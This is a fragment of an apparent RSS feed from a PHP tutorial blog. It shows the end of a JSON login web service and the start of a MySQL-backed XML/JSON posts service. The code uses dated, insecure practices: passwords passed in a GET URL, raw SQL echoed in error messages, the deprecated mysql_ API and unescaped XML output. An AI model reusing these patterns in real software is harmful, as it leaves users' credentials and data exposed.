style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;'1'&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;kw1&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(32, 96, 160); font-size-adjust: none; font-stretch: normal;&quot;&gt;include_once&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;quot;user.class.php&amp;quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;coMULTI&quot; style=&quot;font: italic 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(64, 96, 64); font-size-adjust: none; font-stretch: normal;&quot;&gt;/* Created object for User class*/&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$web&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;kw2&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(32, 96, 160); font-size-adjust: none; font-stretch: normal;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;users&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;coMULTI&quot; style=&quot;font: italic 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(64, 96, 64); font-size-adjust: none; font-stretch: normal;&quot;&gt;/* This file return the sucess or failure with provided details ( username, password ) */&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;co1&quot; style=&quot;font: italic 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(64, 96, 64); font-size-adjust: none; font-stretch: normal;&quot;&gt;// USER NAME - user_name&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;co1&quot; style=&quot;font: italic 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(64, 96, 64); font-size-adjust: none; font-stretch: normal;&quot;&gt;// PASSWORD - password&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;kw1&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(32, 96, 160); font-size-adjust: none; font-stretch: normal;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 128, 128); font-size-adjust: none; font-stretch: normal;&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;'user_name'&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;'password'&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;{&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$web&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 128, 255); font-size-adjust: none; font-stretch: normal;&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;'user_name'&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;'password'&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;kw1&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(32, 96, 160); font-size-adjust: none; font-stretch: normal;&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 128, 128); font-size-adjust: none; font-stretch: normal;&quot;&gt;json_encode&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 128, 128); font-size-adjust: none; font-stretch: normal;&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;'results'&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;}&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;coMULTI&quot; style=&quot;font: italic 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(64, 96, 64); font-size-adjust: none; font-stretch: normal;&quot;&gt;/* Provided output in the json encoded format */&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;co1&quot; style=&quot;font: italic 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(64, 96, 64); font-size-adjust: none; font-stretch: normal;&quot;&gt;// Call the database disconnection method&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$web&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 128, 255); font-size-adjust: none; font-stretch: normal;&quot;&gt;connection_close&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;sy1&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(32, 96, 160); font-size-adjust: none; font-stretch: normal;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h4 style=&quot;margin: 0px; padding: 0px 0px 7px; font-size: 14px; font-weight: bold;&quot;&gt;Call this method as&lt;/h4&gt;
&lt;p style=&quot;margin: 0px; padding: 0px 0px 10px;&quot;&gt;&lt;em style=&quot;font-style: italic; font-weight: normal;&quot;&gt;&lt;span&gt;&lt;a class=&quot;smarterwiki-linkify&quot; style=&quot;color: rgb(1, 147, 204); text-decoration: none;&quot; href=&quot;http://localhost/login.php?username=anil&amp;amp;password=123456&quot;&gt;&lt;font color=&quot;#0193cc&quot;&gt;http://localhost/login.php?username=nilesh&amp;amp;password=123456&lt;/font&gt;&lt;/a&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h4 style=&quot;margin: 0px; padding: 0px 0px 7px; font-size: 14px; font-weight: bold;&quot;&gt;Output:&lt;/h4&gt;
&lt;p style=&quot;margin: 0px; padding: 0px 0px 10px;&quot;&gt;if correct {&amp;ldquo;result&amp;rdquo;:1} else {&amp;ldquo;result&amp;rdquo;:0}&lt;/p&gt;
&lt;/div&gt;</description>
								         <pubDate>Thu, 08 Mar 2012 00:00:39 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/53/How-to-write-a-webservices-using-php-with-json-format</guid>
								      </item>								      <item>
								         <title>Create a Basic Web Service Using PHP, MySQL, XML, and JSON</title>
								         <link>http://www.nileshpawar.com/52/Create-a-Basic-Web-Service-Using-PHP,-MySQL,-XML,-and-JSON</link>
								         <description>&lt;p&gt;Web services are taking over the world. I credit Twitter's epic rise to the availability of a simple but rich API. Why not use the same model for your own sites? Here's how to create a basic web service that provides an XML or JSON response using some PHP and MySQL.&lt;/p&gt;
&lt;p&gt;The PHP / MySQL&lt;br /&gt;
copy/* require the user as the parameter */&lt;br /&gt;
if(isset($_GET['user']) &amp;amp;&amp;amp; intval($_GET['user'])) {&lt;/p&gt;
&lt;p&gt;&amp;nbsp; /* soak in the passed variable or set our own */&lt;br /&gt;
&amp;nbsp; $number_of_posts = isset($_GET['num']) ? intval($_GET['num']) : 10; //10 is the default&lt;br /&gt;
&amp;nbsp; $format = strtolower($_GET['format']) == 'json' ? 'json' : 'xml'; //xml is the default&lt;br /&gt;
&amp;nbsp; $user_id = intval($_GET['user']); //no default&lt;/p&gt;
&lt;p&gt;&amp;nbsp; /* connect to the db */&lt;br /&gt;
&amp;nbsp; $link = mysql_connect('localhost','username','password') or die('Cannot connect to the DB');&lt;br /&gt;
&amp;nbsp; mysql_select_db('db_name',$link) or die('Cannot select the DB');&lt;/p&gt;
&lt;p&gt;&amp;nbsp; /* grab the posts from the db */&lt;br /&gt;
&amp;nbsp; $query = &amp;quot;SELECT post_title, guid FROM wp_posts WHERE post_author = $user_id AND post_status = 'publish' ORDER BY ID DESC LIMIT $number_of_posts&amp;quot;;&lt;br /&gt;
&amp;nbsp; $result = mysql_query($query,$link) or die('Errant query:&amp;nbsp; '.$query);&lt;/p&gt;
&lt;p&gt;&amp;nbsp; /* create one master array of the records */&lt;br /&gt;
&amp;nbsp; $posts = array();&lt;br /&gt;
&amp;nbsp; if(mysql_num_rows($result)) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; while($post = mysql_fetch_assoc($result)) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $posts[] = array('post'=&amp;gt;$post);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp; }&lt;/p&gt;
&lt;p&gt;&amp;nbsp; /* output in necessary format */&lt;br /&gt;
&amp;nbsp; if($format == 'json') {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; header('Content-type: application/json');&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; echo json_encode(array('posts'=&amp;gt;$posts));&lt;br /&gt;
&amp;nbsp; }&lt;br /&gt;
&amp;nbsp; else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; header('Content-type: text/xml');&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; echo '&amp;lt;posts&amp;gt;';&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach($posts as $index =&amp;gt; $post) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(is_array($post)) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach($post as $key =&amp;gt; $value) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo '&amp;lt;',$key,'&amp;gt;';&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(is_array($value)) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach($value as $tag =&amp;gt; $val) {&lt;br /&gt;
